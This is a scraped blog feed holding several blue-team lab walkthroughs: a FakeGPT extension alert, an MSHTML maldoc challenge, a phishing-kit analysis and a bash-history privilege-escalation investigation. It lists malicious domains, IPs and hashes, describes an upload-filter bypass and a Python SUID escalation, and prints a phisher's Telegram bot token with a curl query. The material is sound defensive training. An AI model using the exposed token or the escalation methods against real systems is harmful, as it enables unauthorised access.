investigation\u0026hellip;\nBut pay close attention to the update note at the top of the article — let\u0026rsquo;s see what the update has to offer.\nUpdate: March 22, 2023 — Guardio Labs discovered another variant in this FakeGPT campaign, abusing open-source code and yet again hijacking Facebook profiles — read about it here.\n[**\u0026rdquo; # \u0026quot;\nFakeGPT\u0026quot; #2: Open-Source Turned Malicious in Another Variant of the Facebook Account-Stealer\u0026hellip;** _By Nati Tal (Guardio Labs)_labs.guard.io](https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61 \u0026ldquo;https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61\")[](https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61)\nOkay! Based on the screenshots in the second report, this variant already looks familiar based on what we observed on Any.Run! Let\u0026rsquo;s focus on the IOCs listed at the bottom of the article.\nhttps://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61\nNow we\u0026rsquo;re getting somewhere! The Malicious Extension ID matches the one from the alert and now we have some URLs we can hunt for in our Log Management. Since we\u0026rsquo;ve now located known malicious IOCs that match the artifacts we found on the victim\u0026rsquo;s system, this confirms that the extension is a malicious, FakeGPT stealer extension.\nTask 4: Check if Someone Requested the C2 The next step in our workflow is needing to determine that after the malicious extension was installed if it requested the Command and Control (C2) server address or not.\nTo do this, we\u0026rsquo;re going to use the Log Management module to analyze relevant network traffic from Samuel\u0026rsquo;s device to see if we can find evidence that it contacted the C2 Server IOC that we found in the Guardio post.\nNavigate to the Log Management tab, and toggle from the \u0026quot; # \u0026ldquo;Pro\u0026quot;filter to the \u0026quot; # \u0026ldquo;Basic\u0026quot;filter:\nThen, search for the C2 Server from the IOC list to see if we get any hits in our own logs:\nUh-oh — we have two hits! Recall that Samuel\u0026rsquo;s source (SRC) IP address is 172.16.17.173 so we know that we\u0026rsquo;ve found the right entries for his device. Click the first entry to see the Raw Log for more details:\nThe presence of this DNS query confirms that chrome.exe on Samuel\u0026rsquo;s device requested the C2 domain that we learned about from the Guardio report. Additionally, we also have two IP addresses that this domain resolves to — let\u0026rsquo;s confirm this with VirusTotal:\nhttps://www.virustotal.com/gui/domain/version.chatgpt4google.workers.dev/relations\nTo be thorough, we can also search for the Landing Page IOCs to gather more artifacts for the investigation:\nOkay, now that we\u0026rsquo;ve investigated the logs and found hits for a Landing Page and the C2 server, let\u0026rsquo;s register that the C2 was accessed and continue through the workflow.\nTask 5: Containment Now that we have confirmed that the file is malicious and it was not quarantined by the antimalware, we\u0026rsquo;ll need to contain Samuel\u0026rsquo;s device to prevent any further negative impact so that we can remediate the threat.\nTo do this, we\u0026rsquo;ll go back to the Endpoint Security tab, search for Samuel, and trigger the containment action.\nTask 6: Report and Close the Case Okay, we\u0026rsquo;re closing in on the end of the investigation! The next step in the playbook is to recap the evidence, or artifacts, that we discovered on the victim\u0026rsquo;s system throughout the investigation.\nThe first artifact will be the file hash of the malicious extension. The alert provided the SHA256 file hash, but we need to input the MD5 hash into our case. We can simply look back at the VirusTotal entry for the malicious extension and copy it from there. 9cc6c26bd215549c39ba5b65e9eec9ea\nNext, we will enter the Chrome Store URL address for the malicious extension. In Task 3, we found this in Samuel\u0026rsquo;s Browser History and within the Guardio report. https://chrome.google.com/webstore/detail/chatgpt-for-google/hacfaophiklaeolhnmckojjjjbnappen\nNext, we\u0026rsquo;ll enter the C2 Server URL Address and the 2x DNS resolved IP Addresses that we discovered in Tasks 3 \u0026amp; 4: version.chatgpt4google.workers.dev 104.21.63.166 172.67.147.243\nFinally, we can also add the additional landing pages from the IOC report that we also found with the Log Management data in Task 4. Adding these would reduce the risk of any other user downloading the malicious extension. chatgptforgoogle.pro 52.76.101.124 3.1.17.18 18.140.6.45\nNext, after putting in our list of artifacts, it\u0026rsquo;s time to input some good Analyst Notes to summarize our findings. These notes will accompany our list of IOCs when we file our case report:\nFinally, with our report filed, we can now officially close the alert from the Investigation Channel! Great job tackling this investigation from start to finish — let\u0026rsquo;s wrap this thing up.\nConclusion: And there we have it — mission accomplished!\nAs we wrap up the SOC202 — FakeGPT Malicious Chrome Extension alert, let\u0026rsquo;s recap what we discovered. Through our investigation of the endpoint logs, we identified a suspicious Chrome extension that was allowed to run. Then, we pivoted to external threat intelligence to provide further context, eventually stumbling on the Guardio report, which confirmed that the extension is malicious. Finally, we hunted for the IOCs from the same report in the network logs, to uncover communication with the command and control server, which confirmed our findings.\nNow, you can review your answers in the Closed Alerts tab and review your report from the Case Management tab. Awesome job!\nA big thank you to LetsDefend for providing such a cool, in-depth simulation platform. Their platform continues to be a helpful and fun resource for sharpening my cybersecurity skills and staying ready for the next alert. If you found this walkthrough helpful in leveling up your skills or getting you through a tricky challenge, please give it a clap! Your feedback lets me know that I helped you out on your security journey. We\u0026rsquo;re in this together! Thanks for the support!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Microsoft Learn (mpcmdrun.exe): https://learn.microsoft.com/en-us/defender-endpoint/command-line-arguments-microsoft-defender-antivirus\nMicrosoft Learn (File Hash): https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-filehash?view=powershell-7.4#description\nAny.Run: https://app.any.run/\nAny.Run Task: https://app.any.run/tasks/99055672-d173-4fd6-afc2-7a45c84c3448/\nVirusTotal: https://www.virustotal.com/\n**Guardio \u0026quot; # \u0026quot;\nFakeGPT\u0026rdquo; : New Variant of Fake-ChatGPT Chrome Extension Stealing Facebook Ad Accounts with Thousands of Daily Installs:** https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282\n**Guardio \u0026quot; # \u0026quot;\nFakeGPT\u0026rdquo; #2: Open-Source Turned Malicious in Another Variant of the Facebook Account-Stealer Chrome Extension:** https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61\nMITRE ATT\u0026amp;CK — Command and Control (TA0011): https://attack.mitre.org/tactics/TA0011/\n","date":"2024-09-01T00:00:00Z","image":"/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/52ec360df262f3d6fa64068792afe792_MD5.png","permalink":"/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/","title":"LetsDefend — SOC202 — FakeGPT Malicious Chrome Extension Investigation Walkthrough"},{"content":"LetsDefend — MSHTML Challenge Walkthrough Maldoc analysis using zipdump.py, re-search.py, \u0026amp; VirusTotal Image Credit: https://app.letsdefend.io/challenge/mshtml\nIntroduction: Have you ever come across a suspicious document file and wondered if it\u0026rsquo;s doing something malicious in the background? If so, welcome to another weekly walkthrough — you\u0026rsquo;ve stumbled on the right blog!\nThis week, we\u0026rsquo;re tackling the MSHTML challenge from LetsDefend. Our mission is to analyze four malicious document (maldoc) samples, discover the IP addresses and domains hidden within them, and use that information to figure out which vulnerability or CVE that the threat actor is exploiting.\nThroughout this walkthrough, we\u0026rsquo;ll explore the inner workings of .docx files to find indicators of compromise (IOCs). To do that, we\u0026rsquo;ll use several tools from Didier Stevens including zipdump, re-search, and numbers-to-string, to extract the artifacts. Then, we\u0026rsquo;ll leverage VirusTotal to correlate threat intelligence and determine the exploited CVE. Sounds like a fun time!\nAlthough LetsDefend rates this challenge as Hard, we\u0026rsquo;ll go through it step-by-step to make it much more accessible. What are we waiting for? Thanks for reading along with me!\nChallenge Link: https://app.letsdefend.io/challenge/mshtml\nChallenge Scenario: 2021\u0026rsquo;s 0-Day MSHTML\nQuestion 1: Examing the Employees_Contact_Audit_Oct_2021.docx file, what is the malicious IP in the docx file? All right, let\u0026rsquo;s jump right in! But before we go too far down the rabbit hole, let\u0026rsquo;s check out the Tools folder on the Desktop to see what we have available at our disposal to work through this challenge.\nFor Question 1, we are going to be performing some analysis on a .docx file. It wouldn\u0026rsquo;t be much fun if we could simply just open it and find our answer, right?\nWith that in mind, let\u0026rsquo;s first get some background about the structure of the document\u0026rsquo;s format from the SANS Analyzing Malicious Documents cheat sheet:\nOOXML document files (.docx, .xlsm, etc.) supported by Microsoft Office are compressed zip archives.\nInteresting, since a .docx file is basically a zip archive, let\u0026rsquo;s go back and see what tool in the Tools folder might be able to help with this task. Maybe we can utilize Didier Stevens\u0026rsquo; zipdump.py? According to the SANS cheat sheet, this utility can be used to \u0026quot; # \u0026ldquo;examine contents of OOXML file\u0026rdquo;— it sounds like this might fit the bill, let\u0026rsquo;s try it!\nWe\u0026rsquo;ll use the following syntax to perform a basic analysis on the document:\npython3 zipdump.py /root/Desktop/ChallengeFiles/Employees_Contact_Audit_Oct_2021.docx\nWe can see that zipdump.py lists out all the files contained within the .docx and assigns them an index filename — there are so many to choose from! Let\u0026rsquo;s start with a broad strokes approach.\nAfter consulting the man pages for zipdump.py, we can use the — dumpall (-D) option to dump all these files rather than focus on a specific one for now.\nBut how will that help us analyze the output? For this, we can pipe the output into another Didier Stevens tool, re-search.py.\nre-search.py is a tool that uses regular expressions to search through files. You can use regular expressions from a small builtin library, or provide your own regular expressions.\nCombining zipdump and re-search, we\u0026rsquo;ll use the below command to dump all the indexes in the sample, pipe them into re-search, and then use the included filters to search the output for unique IPv4 addresses:\npython3 zipdump.py -D /root/Desktop/ChallengeFiles/Employees_Contact_Audit_Oct_2021.docx | python3 re-search.py -n -u ipv4\nNow we\u0026rsquo;ve located an IP address within the document and found the answer to Question 1!\nWhile we\u0026rsquo;re at it, let\u0026rsquo;s do some additional threat intelligence gathering about this IP address on VirusTotal. This could come in handy for later in the challenge\u0026hellip;\nQuestion 2: Examing the Employee_W2_Form.docx file, what is the malicious domain in the docx file? The same way we solved the previous question, we\u0026rsquo;re going to again combine zipdump and use the filtering capabilities of re-search to locate domains within the dump instead of IPv4 like we did in Question 1.\nLet\u0026rsquo;s look at the options for re-search again:\nhttps://github.com/DidierStevens/DidierStevensSuite/blob/master/re-search.py\nAt first glance, the url and url-domain options seem like the best choices to use with re-search. But we\u0026rsquo;ll hit a snag and not locate any suspicious hits when using these filters. Let\u0026rsquo;s pivot and try a third option, domaintld, in case the top-level domain is not one that is found with the standard url filter.\npython3 zipdump.py -D /root/Desktop/ChallengeFiles/Employee_W2_Form.docx | python3 re-search.py -u -n domaintld\nThere we go! Using the domaintld filter, we found the below domain in the document and can answer Question 2!\nQuestion 3: Examing the Work_From_Home_Survey.doc file, what is the malicious domain in the doc file? Okay, Question 3 has us analyzing a .doc file. While different than .docx, let\u0026rsquo;s approach this question with the same way that we used to answer Question 2 by using zipdump.py and re-search.py with the domaintld filter:\npython3 zipdump.py -D /root/Desktop/ChallengeFiles/Work_From_Home_Survey.doc | python3 re-search.py -n -u domaintld\nThis seems promising but this domain isn\u0026rsquo;t long enough to answer Question 3\u0026hellip;\nLet\u0026rsquo;s dig more deeply. Instead of using the zipdump.py -D option to dump all the streams, let\u0026rsquo;s try to analyze them individually. But how do we know which streams to focus on?\nWell, let\u0026rsquo;s do some Google research about the OOXML format to find out more about which stream contains external references like URLs. After some brief searching we\u0026rsquo;ll stumble across a reference sheet for the WordprocessingML file type from Open Office which has a very helpful note:\nOffice Open XML - Anatomy of an OOXML WordProcessingML File _Anatomy of a WordProcessingML File A WordprocessingML or docx file is a zip file (a package) containing a number of\u0026hellip;_officeopenxml.com\nhttp://officeopenxml.com/anatomyofOOXML.php\nWith that background information, we are going to focus on stream 10 (-s 10) and dump (-d) the content from this file only using the below command_._\npython3 zipdump.py /root/Desktop/ChallengeFiles/Work_From_Home_Survey.doc -s 10 -d\nThis returns a huge blob of output but let\u0026rsquo;s focus on the highlighted section where we see a Relationship Id. We know from the OOXML specification that this should be the right location to find external links but it seems to be encoded\u0026hellip;\nWhile we could use something like CyberChef to perform some decoding/transformation, let\u0026rsquo;s stick with the provided utilities and use another of Didier Stevens\u0026rsquo; tools — Numbers-to-String.py\nnumbers-to-string.py is a Python program that reads texts files (as arguments on the commandline, @here files or stdin), extract numbers from these files and converts these to strings. The first argument of numbers-to-string.py is a Python expression. This Python expression can use variable n that represents each extracted number.\nThis should allow us to dump the content of this stream and pipe it into numbers-to-strings to perform the conversion for us.\npython3 zipdump.py /root/Desktop/ChallengeFiles/Work_From_Home_Survey.doc -s 10 -d | python3 numbers-to-string.py\nThere we go! By doing some research and combining two of the included tools, we\u0026rsquo;ve uncovered a malicious domain within the .doc file!\nQuestion 4: Examing the income_tax_and_benefit_return_2021.docx, what is the malicious domain in the docx file? For Question 4, we\u0026rsquo;re looking for a malicious domain again, so let\u0026rsquo;s circle back and apply the same process that we used to answer Question 2.\nExcept instead of using the domaintld option like we used before, let\u0026rsquo;s see if we get any hits using the url-domain option.\npython3 zipdump.py -D /root/Desktop/ChallengeFiles/income_tax_and_benefit_return_2021.docx | python3 re-search.py -n -u url-domain\nHey, we found one unique URL in the output! Let\u0026rsquo;s check it against VirusTotal to see if we can find any hits to confirm if this is a malicious domain or not to confirm our finding.\nWe have a few hits, but we\u0026rsquo;ll go a step further and check the Relations \u0026gt; Communicating Files tab, where we will see several file hits including one that looks very familiar\u0026hellip;\nLet\u0026rsquo;s submit our answer and move on to the final question to determine what common vulnerability all of the sample files exploit.\nQuestion 5: What is the vulnerability the above files exploited? Okay, last question! To tackle Question 5, we\u0026rsquo;ll check the file hash of each sample to collect more information from VirusTotal and discover the common vulnerability that each malicious document exploits.\nFirst, to get the hashes, we\u0026rsquo;ll run the SHA256sum command for all the files in the ChallengeFile directory:\nsha256sum *\nThen, we can submit each of the hashes to VirusTotal.\nhttps://www.virustotal.com/gui/file/679bbe0c50754853978a3a583505ebb99bce720cf26a6aaf8be06cd879701ff1\nhttps://www.virustotal.com/gui/file/ed2b9e22aef3e545814519151528b2d11a5e73d1b2119c067e672b653ab6855a\nhttps://www.virustotal.com/gui/file/84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69\nhttps://www.virustotal.com/gui/file/d0e1f97dbe2d0af9342e64d460527b088d85f96d38b1d1d4aa610c0987dca745\nDid you notice that each one is tagged with the label CVE-2021€“40444? I think we have found the answer, but let\u0026rsquo;s do some additional research about this vulnerability from Microsoft which describes it as:\nA remote code execution vulnerability in MSHTML that affects Microsoft Windows. Microsoft is aware of targeted attacks that attempt to exploit this vulnerability by using specially-crafted Microsoft Office documents.\nAn attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine. The attacker would then have to convince the user to open the malicious document.\nWhile this is just a brief summary, we get the idea that the samples we\u0026rsquo;ve analyzed are Microsoft Office documents specially-crafted to exploit a Windows MSHTML vulnerability. Between the intelligence we gathered from VirusTotal and the CVE details from Microsoft, we have enough data to answer Question 5!\nConclusion: Mission accomplished! We\u0026rsquo;ve successfully analyzed each of the four maldoc samples, found the IP addresses and domains within them, and used those artifacts to figure out which CVE was exploited. Let\u0026rsquo;s wrap up this investigation.\nA big thank you to LetsDefend for another excellent challenge! While I\u0026rsquo;ve used Didier Stevens tools before, I hadn\u0026rsquo;t had the opportunity to try re-search or numbers-to-string. These tools really helped to speed up the investigation since I didn\u0026rsquo;t have to pivot to external tools, and they were powerful for parsing the zipdump output. This was a great opportunity to practice with these tools hands-on!\nIf you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Your feedback lets me know that I helped you out on your security journey. We\u0026rsquo;re in this together! Thanks for the support!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: SANS Cheat Sheet for Analyzing Malicious Documents: https://www.sans.org/posters/cheat-sheet-for-analyzing-malicious-documents/\nDidier Stevens (Zipdump.py): https://github.com/DidierStevens/DidierStevensSuite/blob/master/zipdump.py\nDidier Stevens (re-search.py): https://blog.didierstevens.com/2021/02/22/re-search-py-and-custom-validations/\nVirusTotal: https://www.virustotal.com/gui/ip-address/175.24.190.249/relations\nOpen Office XML Reference: http://officeopenxml.com/anatomyofOOXML.php\nDidier Stevens (Numbers-to-Strings): https://github.com/DidierStevens/DidierStevensSuite/blob/master/numbers-to-string.py\nVirusTotal (Employee_W2_Form.docx): https://www.virustotal.com/gui/file/679bbe0c50754853978a3a583505ebb99bce720cf26a6aaf8be06cd879701ff1\nVirusTotal (Employees_Contact_Audit_Oct_2021.docx): https://www.virustotal.com/gui/file/ed2b9e22aef3e545814519151528b2d11a5e73d1b2119c067e672b653ab6855a\nVirusTotal (Work_From_Home_Survey.doc): https://www.virustotal.com/gui/file/84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69\nVirusTotal (income_tax_and_benefit_return_2021.docx): https://www.virustotal.com/gui/file/d0e1f97dbe2d0af9342e64d460527b088d85f96d38b1d1d4aa610c0987dca745\nMicrosoft MSHTML Remote Code Execution Vulnerability: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444\n","date":"2024-08-25T00:00:00Z","image":"/posts/letsdefend-mshtml-challenge-walkthrough/f399aed5b0ed2aabf7ca7503f34b293d_MD5.png","permalink":"/posts/letsdefend-mshtml-challenge-walkthrough/","title":"LetsDefend — MSHTML Challenge Walkthrough"},{"content":"CyberDefenders — GrabThePhisher Blue Team Lab Walkthrough Investigation of a Phishing Kit using Google, PHP, \u0026amp; the Telegram API Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/grabthephisher/\nIntroduction: Have you ever come across a phishing website spoofing a familiar service and wanted to understand how it works? If so, welcome to another weekly walkthrough — you’ve stumbled on the right blog! This week, we’re tackling the GrabThePhisher Blue Team Lab from CyberDefenders.\nOur mission this week is a Threat Intelligence exercise that has us defenders diving into a phishing kit used to impersonate a popular cryptocurrency exchange website and trick unsuspecting victims into providing their crypto wallet seed phrases. That’s not great!\nThroughout this walkthrough, we’ll explore the inner workings of this phishing kit, uncovering how it operates, the methods it uses to harvest victim data, and ultimately, who is behind this campaign. Sounds like a fun time!\nWhat are we waiting for? Let’s get started — thanks for reading along!\nChallenge Link:\nGrabThePhisher | Blue team challenge. _GrabThePhisher is a blue team lab that falls under the Threat Intel category, and will cover the following subjects…_cyberdefenders.org\nChallenge Scenario: Scenario:\nAn attacker compromised a server and impersonated https://pancakeswap.finance/, a decentralized exchange native to BNB Chain, to host a phishing kit at https://apankewk.soup.xyz/mainpage.php. The attacker set it as an open directory with the file name “pankewk.zip”.\nProvided the phishing kit, you as a soc analyst are requested to analyze it and do your threat intel homework.\nQuestion 1: Which wallet is used for asking the seed phrase? Let’s jump right into analyzing the phishing kit! We’ll start by unzipping the challenge file and getting an overview of the contents. We already know from the scenario that the phishing kit is impersonating the PancakeSwap cryptocurrency exchange_,_ and we’ll see plenty of assets spoofing this service used in the kit.\nBut the first file that we’ll start analyzing is the index.html, the default landing page for the website. When we open the file, we’ll see several wallet types listed for connection:\nYikes! Does the phishing kit attempt to harvest credentials from all these wallet types? Let’s check into this by navigating back to the pankewk directory and checking for other references to any of these services_._\nWe’ll find only one of these wallets has its own folder — MetaMask.\nLet’s explore this folder and focus on the file metamask.php and examine the code to see if we can find any requests for a seed phrase:\nThis looks promising! Just below the wallet name, we can see a field asking for a Phrase with some additional code_._ This confirms that we’ve found the correct wallet soliciting the seed phrase, which answers Question 1!\nQuestion 2, 3, \u0026amp; 4: What is the file name that has the code for the phishing kit? In which language was the kit written? What service does the kit use to retrieve the victim’s machine information? Now that we have discovered the correct wallet let’s take a closer look at some of the other functions in the code to answer Questions 2, 3, \u0026amp; 4.\nWe already discovered that metamask.php contains the prompt to collect seed phrases, and can probably conclude that this is the file hosting the rest of the phishing code. To double-confirm this theory, we can look further down the code, and we’ll see some functions using the Telegram API. The use of an external chat application is a red flag and confirms that we are looking at the correct file that contains the phishing functions. This answers Question 2.\nNext, we need to determine which language the kit was written in. Fortunately, we have determined this already. The file has the .php extension and it contains PHP tags which identify PHP code — so, we are looking at a kit written in PHP.\nFinally, we also need to discover what service is being used to find the victim’s device information. Let’s turn our attention to the $request variable. Do you see the API request to a sypexgeo endpoint? Let’s do a Google search to gather more intelligence about this service.\nAccording to their website:\nSypex Geo is a product for determining location by IP address, from the creators of Sypex Dumper. Having received the IP address, Sypex Geo provides information about the visitor’s location — country, region, city, geographic coordinates.\nInteresting! It seems that the phishing kit leverages this service to gather geolocation data about its victims. This also confirms that this is the service we are looking for to answer Question 4.\nQuestions 5 \u0026amp; 6: How many seed phrases were already collected? Write down the seed phrase of the most recent phishing incident? Remember in Question 2 that we located a potential exfiltration function using Telegram? Let’s take another look at this function to see if it performs any other actions:\nNotice at the bottom of the function, after the victim inputs the content, it is also appended to a log file on the web server — log.txt. Let’s follow the bread crumb trail and navigate to pankewk/log/log.txt\nInside the file, we’ll see three seed phrases were already collected — not good news! But now we also have the answers to Question 5 \u0026amp; 6.\nQuestions 7, 8, 9, 10: Which medium had been used for credential dumping? What is the token for the channel? What is the chat ID of the phisher’s channel? What are the allies of the phish kit developer? Okay, let’s return to metamask.php and search for evidence to answer the next several questions!\nWe can answer Question 7 already as we discovered the application/medium back in Question 2. Remember that in addition to being appended to the log.txt, the seed phrase credentials are also dumped to Telegram.\nThe answers to Questions 8 \u0026amp; 9 are straightforward and listed as the $token and $id variables within the same function!\nTo answer Question 10, we’ll look to the comments in the code (enclosed by the /* */ ) where we see a message with a username/signature in the closing. We can assume this the “ally” username of the attacker that deployed the phishing kit.\nQuestion 11 \u0026amp; 12: What is the full name of the Phish Actor? Now that we have thoroughly analyzed the code of the phishing kit, let’s put all the information together, gather about the Telegram channel itself, and apply some threat intelligence to get there. This should all be possible through the Telegram API since we found the channel ID and a bot token exposed in the phishing kit code.\nLet’s refer to the Telgram API documentation to determine how to call the API and what methods we can try.\nFirst, we will stumble across the proper format to make the query — awesome!\nAll queries to the Telegram Bot API must be served over HTTPS and need to be presented in this form: https://api.telegram.org/bot\u0026lt;token\u0026gt;/METHOD_NAME\nThen, after reviewing the methods, we will find the getChat option which can be used to retrieve full information about the chat (ChatFullInfo.)\nhttps://core.telegram.org/bots/api#getchat\nSo, putting all the pieces together we need to specify our bot token, getChat method, and chat ID parameter. Let’s try this in a web browser first by making a GET request using the URL below. This URL takes the information we located in Questions 8 \u0026amp; 9 and puts it into the format we discovered in the Telegram docs.\nhttps://api.telegram.org/bot5457463144:AAG8t4k7e2ew3tTi0IBShcWbSia0Irvxm10/getChat?chat_id=5442785564\nUsing the Telegram API in a browser.\nFor comparison, let’s also try this same request using Curl from the terminal and then use JQ to parse the JSON output and make it pretty.\ncurl \u0026ldquo;https://api.telegram.org/bot5457463144:AAG8t4k7e2ew3tTi0IBShcWbSia0Irvxm10/getChat?chat_id=5442785564\" | jq\nUsing the Telegram API from the terminal.\nWith either method, we’ve uncovered new information from the API including the first_name, last_name, and username fields for the members within the chat!\nThis is the final piece of information we needed to answer the last two questions of this investigation and get us one step closer to finding the threat actor who deployed the phishing kit.\nConclusion: And there we have it — mission accomplished! We’ve successfully completed our analysis of the phishing kit, determined how it harvests seed phrases, where they are sent, and how many victims have been compromised. But that’s not all! With the help of the Telegram API and some exposed secrets in the phishing kit, we also uncovered more details about the threat actors themselves.\nWith the objectives completed, let’s close out this walkthrough of the GrabThePhisher Blue Team Lab. A big thank you to CyberDefenders for hosting another great challenge! I found this exercise particularly insightful, as I’ve often wondered how these types of phishing kits work. It was a fantastic opportunity to go hands-on and explore it myself.\nMy personal highlight was using the Telegram API to pivot and gather more information than was available in the kit. This unique objective provided a great learning opportunity to explore the documentation and understand what information can be found with an exposed token.\nIf you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Your feedback lets me know that I helped you out on your security journey. We’re in this together! Thanks for the support!\nUntil next week’s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Wikipedia MetaMask: https://en.wikipedia.org/wiki/MetaMask\nSypex Geo: https://sypexgeo.net/en/about/#:~:text=Sypex%20Geo%20is%20a%20product,region%2C%20city%2C%20geographic%20coordinates.\nTelegram API: https://core.telegram.org/bots/api\nREQBIN (Curl): https://reqbin.com/req/c-1n4ljxb9/curl-get-request-example\nJQ: https://github.com/jqlang/jq\n","date":"2024-08-18T00:00:00Z","image":"/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/2bec7d84d8e1b7f28c0869ef9be1b818_MD5.png","permalink":"/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/","title":"CyberDefenders  —  GrabThePhisher Blue Team Lab Walkthrough"},{"content":"Blue Team Labs Online — Log Analysis— Privilege Escalation Challenge Walkthrough Analyzing Web Server Compromise with Bash History Logs and Notepad++ Logo credit: https://blueteamlabs.online\nIntroduction: Welcome to another weekly walkthrough! If you’ve ever been curious about investigating a compromised web server, you’ve stumbled on the right blog. This week, we’re tackling the Log Analysis — Privilege Escalation challenge from Blue Team Labs Online.\nThis challenge is a digital forensics and incident response (DFIR) exercise that has us defenders investigating a compromised web server using only the bash history log file. To do the analysis, we’re leveraging the trusty Notepad++ to dissect the log file, uncover how the attacker compromised the server, how they escalated their privileges, and what tools they used to do it. Sounds like a fun time!\nNow let’s grab some yarn and unravel the mystery behind this breach and learn a little bit more about web server security along the way. Let’s get started — thanks for reading along!\nChallenge Link: https://blueteamlabs.online/home/challenge/log-analysis-privilege-escalation-65ffe8df12\nChallenge Scenario: A server with sensitive data was accessed by an attacker and the files were posted on an underground forum. This data was only available to a privileged user, in this case the ‘root’ account. Responders say ‘www-data’ would be the logged in user if the server was remotely accessed, and this user doesn’t have access to the data. The developer stated that the server is hosting a PHP-based website and that proper filtering is in place to prevent php file uploads to gain malicious code execution. The bash history is provided to you but the recorded commands don’t appear to be related to the attack. Can you find what actually happened?\nQuestion 1: What user (other than ‘root’) is present on the server? Okay, let’s kick off this investigation! We’ll start by downloading the bash history log file attached to the challenge. To begin our analysis, we’ll open the file in any plaintext editor to view the contents, for the examples in this blog, I will be using Notepad++.\nUtilizing the log file, we’re going to locate the second user account on this server by looking for the presence of a home directory. In Linux, each user will have a separate /home directory except for the root account.\nOn line 21 we’ll see a change directory (cd) to /home/daniel. Since Daniel has a home directory, we’ve discovered the second user account!\nQuestion 2: What script did the attacker try to download to the server? Let’s continue scrolling through the log to look for evidence of a file download.\nEventually, we stumble across line 32 where we see some activity using wget. Wget is a command-line utility used to retrieve files and content from the web — this seems promising! Let’s take a closer look at what was retrieved:\nThe end of the URL path is a shell script file “linux-exploit-suggester.sh” retrieved from a GitHub repository. Let’s get some background on this tool to determine if we found the correct answer. I’ll refer to the Kali Linux documentation that states that linux-exploit-suggester is:\na Linux privilege escalation auditing tool. It’s designed to assist in detecting security deficiencies for given Linux kernel/Linux-based machine.\nBased on the description, this script could be useful for an attacker’s follow-on activities and confirms that we located the correct script to answer Question 2.\nQuestion 3: What packet analyzer tool did the attacker try to use? Continuing to scan through the log file, we’ll come across several lines (41–47) listing network discovery commands — so we’re probably in the right spot to look for the answer to Question 3. While searching for the packet analyzer the attacker used, there are two tool commands that stick out from the rest: iptables and tcpdump.\nIf you haven’t encountered these utilities before, they are important to know in the context of this investigation so let’s get some quick background on both.\niptables: iptables is a Linux firewall application that is controlled through the command line and allows configuration of network traffic rules. 2. tcpdump: Quoting the Kali Linux documentation:\nThis program allows you to dump the traffic on a network. tcpdump is able to examine IPv4, ICMPv4, IPv6, ICMPv6, UDP, TCP, SNMP, AFS BGP, RIP, PIM, DVMRP, IGMP, SMB, OSPF, NFS and many other packet types.\nSo, based on these tool descriptions, we know that tcpdump is the packet analyzer we are looking for to answer Question 3!\nQuestion 4: What file extension did the attacker use to bypass the file upload filter implemented by the developer? To answer Question 4, we’re going to search for the keyword “uploads” to locate relevant log entries. Let’s focus on the last line of our log, line 63.\nUnfortunately, we don’t have any deeper visibility into the setup of the PHP web server and how the developer implemented the file upload filter_,_ so we are going to have to rely on some context clues.\nAnalyzing this command tells us that that the file x.phtml was deleted (rm) from the web server’s upload directory. This might indicate that the attacker is deleting indicators of their intrusion (MITRE ATT\u0026amp;CK T1070.004) following a malicious file upload.\nSince there is evidence of file upload activity, the developer’s statement that “proper filtering is in place to prevent php file uploads to gain malicious code execution” might not be accurate. From the evidence, we might assume that the developer only filtered the .php file extension rather than also adding other standard PHP extensions like .php3 and .phtml.\nPutting our evidence together, we have the developer’s statement that some file upload validation in place, but we don’t know the full scope, we know there was a file uploaded to the web server with the .phtml extension, and the file was later removed. I think we have enough evidence to say with some confidence that the .phtml file bypassed the upload filter.\nQuestion 5: Based on the commands run by the attacker before removing the php shell, what misconfiguration was exploited in the ‘python’ binary to gain root-level access? 1- Reverse Shell ; 2- File Upload ; 3- File Write ; 4- SUID ; 5- Library load To answer the final question, we’ll focus on the Python activity that occurred before the last line we analyzed in the previous question.\nWe know we are looking for some exploitation of the Python binary, so let’s try to add some context about the command we see in line 62.\nTo do this, we need to find some reference about abusing binaries on Linux systems. Fortunately, the challenge provides a reference link to the GTFOBins repository.\nSo, what are GTFOBins and how can they help us solve this challenge?\nGTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.\nThe project collects legitimate functions of Unix binaries that can be abused to get the f**k break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.\nThis sounds promising! Let’s review the repository and search for Python.\npython | GTFOBins _The payloads are compatible with both Python version 2 and 3. It can be used to break out from restricted environments…_gtfobins.github.io\nOnce we have read the various payloads available, we will stumble across a privilege escalation method using Python which is achieved with the same command that we discovered in our bash history log!\nSince we have located the same commands in our log and have a documented method of SUID bit privilege escalation, we have enough information to answer Question 5 and wrap up this investigation!\nConclusion: And there we have it! We’ve successfully navigated the bash history log file to discover the details of the web server compromise. With the help of Notepad++ we identified the second user account on the system, the script the attacker downloaded, the tools they used, and their method for bypassing the file upload filter. With the objectives 